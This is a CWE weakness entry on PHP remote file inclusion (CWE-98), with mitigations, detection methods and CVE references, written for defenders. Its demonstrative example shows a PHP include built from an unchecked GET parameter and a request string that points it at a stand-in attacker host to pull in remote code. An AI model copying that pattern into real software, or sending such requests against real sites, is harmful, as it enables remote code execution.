CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')

Description:
The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions.

Extended Description:
In certain versions and configurations of PHP, this can allow an attacker to specify a URL to a remote location from which the product will obtain the code to execute. In other cases in association with path traversal, the attacker can specify a local file that may contain executable statements that can be parsed by PHP.

Affected languages: PHP
Affected technologies: Web Based, Web Server
Parent weaknesses: CWE-706, CWE-829

Consequences:
  - Integrity: Execute Unauthorized Code or Commands

Detection methods:
  - Manual Analysis: Manual white-box analysis can be very effective for finding this issue, since there is typically a relatively small number of include or require statements in each program.
  - Automated Static Analysis: The external control or influence of filenames can often be detected using automated static analysis that models data flow within the product. 
                   Automated static analysis might not b

Mitigations:
  - [Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  - [Architecture and Design] When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. 
                   For example, ID 1 could map to "inbox.txt" and ID 2 could map 
  - [Architecture and Design] For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-s
  - [Architecture and Design] Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. 
                   OS-level ex

Demonstrative examples:
The following code, victim.php, attempts to include a function contained in a separate PHP page on the server. It builds the path to the file by using the supplied 'module_name' parameter and appending the string '/function.php' to it.
The problem with the above code is that the value of $dir is not restricted in any way, and a malicious user could manipulate the 'module_name' parameter to force inclusion of an unanticipated file. For example, an attacker could request the above PHP page (example.php) with a 'module_name' of "http://malicious.example.com" by using the following request string:
$dir = $_GET['module_name']; include($dir . "/function.php");
victim.php?module_name=http://malicious.example.com

Real-world examples:
  - CVE-2004-0285: Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
  - CVE-2004-0030: Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
  - CVE-2004-0068: Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
  - CVE-2005-2157: Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
  - CVE-2005-2162: Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.